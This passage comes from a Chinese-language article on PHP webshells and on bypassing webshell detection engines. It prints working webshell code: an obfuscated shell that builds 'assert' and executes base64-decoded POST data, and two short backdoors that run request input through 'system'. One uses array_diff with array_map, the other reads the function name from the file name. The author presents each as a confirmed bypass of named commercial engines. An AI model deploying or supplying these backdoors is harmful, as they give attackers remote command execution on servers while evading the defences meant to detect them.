3、加密还原在此之前我们的Webshell常用的绕过检测的方法就是通过加密来绕过 , 例子如下:
<?php$_=[];$_=@"$_"; // $_='Array';$_=$_['!'=='@']; // $_=$_[0];$___=$_; // A$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; // S$___.=$__; // S$__=$_;$__++;$__++;$__++;$__++; // E $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$____.=$__;$_=$$____;$___(base64_decode($_[_])); // ASSERT($_POST[_]);
该样本利用了混淆和加密两种技术 , 但是现如今的检测引擎都具备有对市面上的大部分PHP加密混淆进行“脱壳”和利用动态分析PHP执行器进行虚拟执行 , 将混淆加密的代码进行动态还原 , 解密后混淆和加密相当于明文传输 , 再利用污点追踪技术和动静态结合分析即可大大的提高检测率 , 并且能够有效减小误报率 , 同时也让这种在之前百试不爽的技巧无法使用 。
0x04 如果Bypass掉新型检测引擎我们要知道原理就可以想办法如何“蒙骗“住检测引擎 , 如果大家研究过 , 或者说亲身参与到了bypass挑战赛中 , 就能感受到无论是动静态还是什么技术 , 最后都是根据污点追踪法则来进行检测 , 污点追踪的流程在上一节提到了 , 目前我们有两个方法:
1、利用PHP中其他的命令执行的方法 , 让检测引擎识别不出这是污点汇集点
2、打断污点追踪的过程 , 让污点汇集点不落地
拿出一个样本我们来结合代码说明(以下样本分别bypass的引擎会标注出来 , 截止笔者写这篇的文章的时候只有牧云webshell检测引擎正在开启)
样本1<?php//ASRC伏魔引擎bypass$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);$a = join($result);array_map($a,(array)$_REQUEST['1']);?>
讲一下原理 , 首先我们需要利用技巧(PHP本身的特性) , 来阻断污点追踪的过程 , 我在fuzz测试的时候发现了array_map()这个函数存在callback并且能够逃避检测
文章插图
那么首先的能够bypass的污点汇集点已经有了 , 接下里来就是寻找其他函数来将变量"洗白" , 我选择了array_diff()
文章插图
这样就可以利用该函数拼凑出一个system函数 , 再利用array_map()的callback来做命令执行
结果如下:
文章插图
这样就完成了最简单的一次bypass
样本2
<?php//bypass 牧云 文件名需要设置为system$filename=substr(__FILE__,-10,6);$command=$_POST[1];$filename($command);
__FILE__是PHP的一个魔术常量 , 它会返回当前执行PHP脚本的完整路径和文件名 , 我们利用substr()函数逆着截取 , 就能获得system再利用变量做函数的方式 , 打断了污点追踪的过程 , 进行命令执行 , 也可以成功bypass掉牧云引擎 。结果如下:
推荐阅读
- 护士/护理人员的完整简历范文 护士简历范文
- |职场中有哪些常见的套路?
- |职场上,面子不是所谓的客气,而是让自己有了自信,让自己成功
- 养狗好处vs养狗坏处 养宠物的利弊
- 配音|余生,做一个能扛事的成年人
- 秋作文400字18篇作文 秋天的作文400字
- 翡翠手镯|翡翠手镯的价值,傻瓜教程,教你这样看懂翡翠手镯的色泽
- 短发|爱美的美女看过来,你知道秋天为什么要补水吗?
- 无基础唱歌技巧和发声方式教学 学习唱歌的方法
- 全球变暖的危害有哪些 全球变暖的后果